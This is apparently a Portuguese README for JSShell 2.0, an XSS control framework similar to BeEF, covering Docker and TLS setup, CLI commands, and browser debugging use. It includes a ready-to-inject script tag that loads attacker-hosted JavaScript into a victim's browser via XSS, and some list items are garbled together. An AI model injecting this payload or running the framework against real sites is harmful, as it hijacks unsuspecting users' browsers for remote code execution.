
Um shell web JS interativo e multiusuário
Um shell JavaScript interativo multi-usuário baseado na web. Foi inicialmente criado para depurar navegadores esotéricos remotos durante experimentos e pesquisas. Esta ferramenta pode ser facilmente anexada a um payload XSS (Cross Site Scripting) para alcançar execução remota de código no navegador (semelhante ao framework BeeF).
A versão 2.0 foi criada do zero, introduzindo novos recursos interessantes, estabilidade e facilidade de manutenção.
<script>No diretório resources, atualize o arquivo config.json com a configuração desejada:
docker, escolha o host do banco como db (que é o nome do host interno).shell.js faz algumas chamadas AJAX para registrar e consultar novos comandos. Geralmente será http[s]://{SEU_IP_DO_SERVIDOR}:{PORTA}.Agora o JSShell suporta TLS, o que significa que você pode gerar certificados TLS e fornecê-los ao servidor web. O servidor web inferirá o nome de domínio do arquivo config.json. Para criar o certificado, use o script create_cert.py na pasta scripts:
$ cd scripts
$ python create_cert.py --domain <SEU_DOMÍNIO> --email <SEU_EMAIL>
Observe que o servidor web deve estar parado para que o script funcione corretamente. Neste ponto, geramos nossos certificados com sucesso! As únicas modificações que precisamos fazer são:
config.json, altere o esquema do campo URL para https.docker-compose.yml, altere a porta exposta do contêiner web para 443.Esta nova versão suporta a instalação e execução do JSShell via docker e docker-compose. Agora, para instalar e executar todo o framework JSShell, basta executar:
$ ./scripts/start_docker_shell.sh
Isso irá:
JSShellSe você ainda quiser usar o método antiquado de instalação, certifique-se de ter um banco de dados MongoDB em execução e atualize o arquivo config.json localizado no diretório resources.
Recomendo usar um ambiente virtual com pyenv:
$ pyenv virtualenv -p python3.6 venv
$ pyenv activate venv
Ou usando virtualenv:
$ virtualenv -p python3.6 venv
$ source venv/bin/activate
Em seguida, instale os requisitos:
$ pip install -r requirements.txt
Se você usou o método docker, não há necessidade de executar o procedimento a seguir.
Caso contrário, após configurar o banco de dados, precisamos iniciar o servidor da API web. Para isso, execute:
$ python manage.py web
Isso criará e executará um servidor web que escuta conexões recebidas e serve nosso código JSShell.
Agora, para iniciar o CLI do JSShell, execute o mesmo script, mas agora com a flag shell:
$ python manage.py shell
Após a configuração e execução dos componentes necessários, digite o comando help para ver os comandos disponíveis:
╦╔═╗┌─┐┬ ┬┌─┐┬ ┬
║╚═╗└─┐├─┤├┤ │ │
╚╝╚═╝└─┘┴ ┴└─┘┴─┘┴─┘ 2.0
por @Daniel_Abeles
>> help
Comandos documentados (digite help <tópico>):
Comandos Gerais
--------------------------------------------------------------------------------
edit Editar um arquivo em um editor de texto
help Listar comandos disponíveis ou fornecer ajuda detalhada para um comando específico
history Visualizar, executar, editar, salvar ou limpar comandos inseridos anteriormente
ipy Entrar em um shell IPython interativo
py Invocar comando ou shell Python
quit Sair desta aplicação
Operações Baseadas no Shell
--------------------------------------------------------------------------------
back Desmarcar o cliente atualmente selecionado
clients Listar e controlar os clientes que se registraram em nosso sistema
commands Mostrar os comandos executados no cliente selecionado
dump Despejar um comando no disco
execute Executar comandos no cliente selecionado
select Selecionar um cliente como cliente atual
>>
O JSShell suporta 2 métodos de operação:
Semelhante a outros frameworks de controle XSS (como BeeF), o JSShell é capaz de gerenciar explorações XSS bem-sucedidas. Por exemplo, se você puder injetar uma tag script, injete o seguinte recurso em seu payload, e um novo cliente aparecerá no seu console:
<script src="http[s]://{SEU_IP_DO_SERVIDOR}:{PORTA}/content/js"></script>
Se você deseja depurar navegadores exóticos e esotéricos, basta navegar até http[s]://{SEU_IP_DO_SERVIDOR}:{PORTA}/ e um novo cliente aparecerá em seu cliente CLI do JSShell. Agora ele pode ser depurado através do nosso console JSShell.
Canop pelo JSON.prune